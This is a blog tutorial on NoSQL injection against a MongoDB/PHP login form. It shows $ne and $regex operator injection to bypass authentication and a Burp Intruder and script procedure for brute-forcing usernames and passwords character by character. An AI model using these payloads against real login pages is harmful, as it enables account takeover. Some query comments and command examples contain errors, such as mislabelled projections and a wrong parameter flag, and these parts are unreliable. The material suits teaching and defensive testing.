NoSQL Injection and Bruteforce

Hi Guys,

Today, i am going to share about NoSQL injection and bruteforce. I found it is quite interesting since NoSQL was intended not be SQL Injectable as normal SQL query

This injection basically impact to all the NoSQL database below

I will try to give the detailed steps on the MongoDB database and using PHP code to make it easier to understand.

The NoSQL query explained

db.users.find(						<-- Collection
	{username: rioasmara,password: adminPass123},	<-- projection
	{age: {$gt:20} }				<-- query criteria
).limit(1)

this line db.items.find(queryObject) is composed of

db — current database object

Items — collection names ‘items’ in the current database

find — method to execute on the collection

queryObject — an object used to select data

For those who are used to a normal SQL, I would like to give sample of comparation of basic username and password check query

SQL Query

SELECT * FROM accounts WHERE username = 'rioasmara' AND password = 'adminPass123'

SQL Query Compromissed

The adversaries supply data as username = rioasmara’ —

SELECT * FROM accounts WHERE username = ‘rioasmara’ — AND password = ‘’

NoSQL Query

As we look at the below code, There is no longer string manipulation available. We now that find function will accept array

db.accounts.find({username: rioasmara, password: adminPass123});

NoSQL Injection Attack

The attack vector for the NoSQL Injection is quite similar to the common SQL injection where the attacker inject malicous code into the input parameter as show below.

Lets look at the PHP code

The code below match the username and password based on the input array given. In the code below we can see that the code developer does not do input parameter sanitation that allow the attacker to inject code into the input. We can see below the input parameter is converted directly into PHP array

if we print out the $temp variable will look like this

db.users.find(						<-- Collection
	{username: rioasmara,password: adminPass123}	<-- Projection
).limit(1)

the above query will return document where the username is rioasmara and password is adminPass123

Lets do the injection

The new $temp variable will look like below

db.users.find(						<-- Collection
	{username: rioasmara},
	{password: {$ne:WrongPass} }			<-- Query Criteria
).limit(1)

With the above code means we are searching the document where the username is rioasmara and password is not equal to WrongPass. Since the actual password of rioasmara is adminPass123 then basically the above query will return a True condition or return one document

below is criteria operator

$ne — not equal

$gt — greater than

$regex — regular expression

$where — clause lets you specify a script to filter results

Brute Force Username and Password

With the above injection then basically we can do username and password bruteforce by injecting $regex. the code will look like below

Lets prepare the burpsuite intruder

The Injection Point

Here we will try to find user with username regex start with a char (e.g a-z,A-Z or 0-9) and password is not equal to 1 and search the return status that is 302 which means data is found and allow us to be redirected to authenticated homepage

The Payload

include all a-z, A-Z, 0-9 and all special character

The Result

The result we found that there is 302 respond status found between the other 200 respond status result. it means that the page will redirect you to other page login success.

As we are trying to find a complete username and password then basically we can repeat the above steps after we find the first char that is ‘a‘ and try to append ‘a’ with another char (e.g b) untill we find respond status 302 again. the payload will become like this

Bruteforce Automation

To automate the bruteforce we can develop a script to handle the repetition. I am not going to develop my own script but use the existing code available from https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

nosqli-user-pass-enum.py [-h] [-u URL] [-up parameter] [-pp parameter] [-op parameters] [-ep parameter] [-sc character] [-m Method]
ArgumentsDescription
-h, –hshow this help message and exit
-u URLForm submission url. Eg: http://example.com/index.php
-up parameterParameter name of the username. Eg: username, user
-pp parameterParameter name of the password. Eg: password, pass
-op parametersOther paramters with the values. Separate each parameter with a comma(,).
Eg: login:Login, submit:Submit
-ep parameterParameter that need to enumarate. Eg: username, password
-m MethodMethod of the form. Eg: GET/POST

Bruteforce username

python3 nosqli-user-pass-enum.py -u http://localhost:9090/index.php -up username -pp password -ep password -op login:login

Bruteforce pasword

python3 nosqli-user-pass-enum.py -u http://localhost:9090/index.php -up password -pp password -ep password -op login:login

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s